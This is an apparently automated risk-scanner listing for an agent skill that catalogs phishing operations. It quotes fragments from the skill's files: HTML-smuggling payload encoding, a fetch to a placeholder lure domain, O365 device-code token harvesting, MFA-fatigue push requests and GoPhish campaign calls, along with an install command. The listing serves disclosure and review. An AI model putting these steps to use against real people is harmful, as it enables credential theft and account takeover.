← All skills
phishing-overview
75 / 100 · Review before installing
Check before installing. Some of what it can do is expected: a coding skill usually runs build and test commands.
By BitterSecurity/Decepticon (GitHub) · coding · 6,581 stars · scanned at commit bdb1016
Phishing / social-engineering catalog for the Phisher agent. Use ONLY when the engagement RoE authorizes a phishing engagement. Covers pretext design, GoPhish campaigns, evilginx2 MFA-bypass proxying, O365 credential/token harvest, lookalike domains, and the mandatory blue-team deconfliction handshake.
Works with any agent that supports SKILL.md skills.
What this skill can do
Runs commands on your computer
The author does not mention this. Expected for a coding skill.
Found in 19 places.
Show 16 more
- packages/decepticon/decepticon/skills/standard/phisher/html-smuggling-lure/SKILL.md, line 41
base64 -w0 /workspace/payload.iso > /workspace/payload.b64 - packages/decepticon/decepticon/skills/standard/phisher/html-smuggling-lure/SKILL.md, line 230
B64HTML=$(base64 -w0 /workspace/smuggle.html) - packages/decepticon/decepticon/skills/standard/phisher/lookalike-domain/SKILL.md, line 37
python3 - <<'PY' - packages/decepticon/decepticon/skills/standard/phisher/lookalike-domain/SKILL.md, line 63
acme.sh --issue --standalone -d login.acme-portal.example - packages/decepticon/decepticon/skills/standard/phisher/lookalike-domain/SKILL.md, line 70
dig +short login.acme-portal.example - packages/decepticon/decepticon/skills/standard/phisher/mfa-fatigue-social/SKILL.md, line 44
curl -s -X POST "https://login.microsoftonline.com/<TENANT_ID>/oauth2/v2.0/token" \ - packages/decepticon/decepticon/skills/standard/phisher/mfa-fatigue-social/SKILL.md, line 153
curl -s -X POST "https://api-<DUO_HOST>.duosecurity.com/auth/v2/auth" \ - packages/decepticon/decepticon/skills/standard/phisher/o365-credential-harvest/SKILL.md, line 35
TENANT=common - packages/decepticon/decepticon/skills/standard/phisher/o365-credential-harvest/SKILL.md, line 54
RT=<captured-refresh-token> - packages/decepticon/decepticon/skills/standard/phisher/pdf-credential-harvest/SKILL.md, line 41
python3 /workspace/gen_pdf_lure.py \ - packages/decepticon/decepticon/skills/standard/phisher/pdf-credential-harvest/SKILL.md, line 173
API="https://127.0.0.1:3333/api" - packages/decepticon/decepticon/skills/standard/phisher/pdf-credential-harvest/SKILL.md, line 190
curl -sk -H "$H" -H 'Content-Type: application/json' "$API/templates/" -d '{ - packages/decepticon/decepticon/skills/standard/phisher/quishing/SKILL.md, line 40
python3 -c " - packages/decepticon/decepticon/skills/standard/phisher/quishing/SKILL.md, line 145
cat > /workspace/qr_template.html << 'HTML' - packages/decepticon/decepticon/skills/standard/phisher/quishing/SKILL.md, line 170
curl -sk -H "Authorization: Bearer $GOPHISH_API_KEY" \ - packages/decepticon/decepticon/skills/standard/phisher/quishing/SKILL.md, line 188
git clone https://github.com/nickvdyck/evilqr /opt/evilqr
Sends data to these websites: cdn., login.microsoftonline.com, api-, graph.microsoft.com
The author does not mention this.
Found in 23 places.
Show 17 more
- packages/decepticon/decepticon/skills/standard/phisher/gophish-campaign/SKILL.md, line 55
curl -sk -H "$H" -H 'Content-Type: application/json' $API/pages/ -d '{ - packages/decepticon/decepticon/skills/standard/phisher/gophish-campaign/SKILL.md, line 60
curl -sk -H "$H" -H 'Content-Type: application/json' $API/campaigns/ -d '{ - packages/decepticon/decepticon/skills/standard/phisher/gophish-campaign/SKILL.md, line 66
curl -sk -H "$H" $API/campaigns/ | jq '.[].results[] | {email,status}' - packages/decepticon/decepticon/skills/standard/phisher/html-smuggling-lure/SKILL.md, line 51
curl -sk -H "Authorization: Bearer $GOPHISH_API_KEY" \ - packages/decepticon/decepticon/skills/standard/phisher/html-smuggling-lure/SKILL.md, line 206
fetch("https://cdn.<LURE_DOMAIN>/doc/" + docId) - packages/decepticon/decepticon/skills/standard/phisher/html-smuggling-lure/SKILL.md, line 232
curl -sk -H "Authorization: Bearer $GOPHISH_API_KEY" \ - packages/decepticon/decepticon/skills/standard/phisher/mfa-fatigue-social/SKILL.md, line 44
curl -s -X POST "https://login.microsoftonline.com/<TENANT_ID>/oauth2/v2.0/token" \ - packages/decepticon/decepticon/skills/standard/phisher/mfa-fatigue-social/SKILL.md, line 50
curl -s -X POST "https://login.microsoftonline.com/<TENANT_ID>/oauth2/v2.0/token" \ - packages/decepticon/decepticon/skills/standard/phisher/mfa-fatigue-social/SKILL.md, line 86
resp = requests.post(TOKEN_URL, data={ - packages/decepticon/decepticon/skills/standard/phisher/mfa-fatigue-social/SKILL.md, line 128
resp = requests.post(AUTH_URL, json={ - packages/decepticon/decepticon/skills/standard/phisher/mfa-fatigue-social/SKILL.md, line 142
resp = requests.post(verify_url, json={"stateToken": state_token}) - packages/decepticon/decepticon/skills/standard/phisher/mfa-fatigue-social/SKILL.md, line 153
curl -s -X POST "https://api-<DUO_HOST>.duosecurity.com/auth/v2/auth" \ - packages/decepticon/decepticon/skills/standard/phisher/o365-credential-harvest/SKILL.md, line 38
curl -s https://login.microsoftonline.com/$TENANT/oauth2/v2.0/devicecode \ - packages/decepticon/decepticon/skills/standard/phisher/o365-credential-harvest/SKILL.md, line 43
curl -s https://login.microsoftonline.com/$TENANT/oauth2/v2.0/token \ - packages/decepticon/decepticon/skills/standard/phisher/o365-credential-harvest/SKILL.md, line 55
curl -s https://login.microsoftonline.com/common/oauth2/v2.0/token \ - packages/decepticon/decepticon/skills/standard/phisher/o365-credential-harvest/SKILL.md, line 64
`curl -s -H "Authorization: Bearer $AT" https://graph.microsoft.com/v1.0/me`. - packages/decepticon/decepticon/skills/standard/phisher/pdf-credential-harvest/SKILL.md, line 50
curl -sk -H "Authorization: Bearer $GOPHISH_API_KEY" \
and 3 more places
Downloads and installs other software
The author does not mention this.
Found in 1 place.
Safer alternatives
Low-risk skills in the same category (coding) that look related. Check that one does what you need.
Install
Paste this into your terminal. It downloads exactly the version we scanned, not whatever is newest.
if [ -e ~/.agents/skills/'phishing-overview' ] || [ -L ~/.agents/skills/'phishing-overview' ]; then echo 'A skill folder named phishing-overview already exists — not replacing it' >&2; false; else d=$(mktemp -d) && git clone --quiet --filter=blob:none --no-checkout 'https://github.com/BitterSecurity/Decepticon' "$d" && git -C "$d" checkout --quiet 'bdb1016c93ed687f61ac57481da298c25a47c8f5' -- 'packages/decepticon/decepticon/skills/standard/phisher' && mkdir -p ~/.agents/skills && cp -R "$d"/'packages/decepticon/decepticon/skills/standard/phisher' ~/.agents/skills/'phishing-overview' && rm -rf "$d"; fi
Codex reads ~/.agents/skills directly. For Claude Code, Cursor, Copilot, Gemini CLI, Antigravity or OpenCode, also link it. For Claude Code: ln -s ~/.agents/skills/'phishing-overview' ~/.claude/skills/'phishing-overview' (other agents: ~/.cursor/skills, ~/.copilot/skills, ~/.gemini/skills, ~/.gemini/config/skills, ~/.config/opencode/skills). Or install through the finder skill, which does both.
Badge for your README
The badge for BitterSecurity/Decepticon shows the score of its lowest-scoring skill.
[](https://zalavijaysinh.github.io/skilltrust/repos/BitterSecurity/Decepticon/)
Score history
| Date | Version | Score |
|---|
| 2026-11-11 | bdb1016 | 75 |
| 2026-11-08 | df87955 | 75 |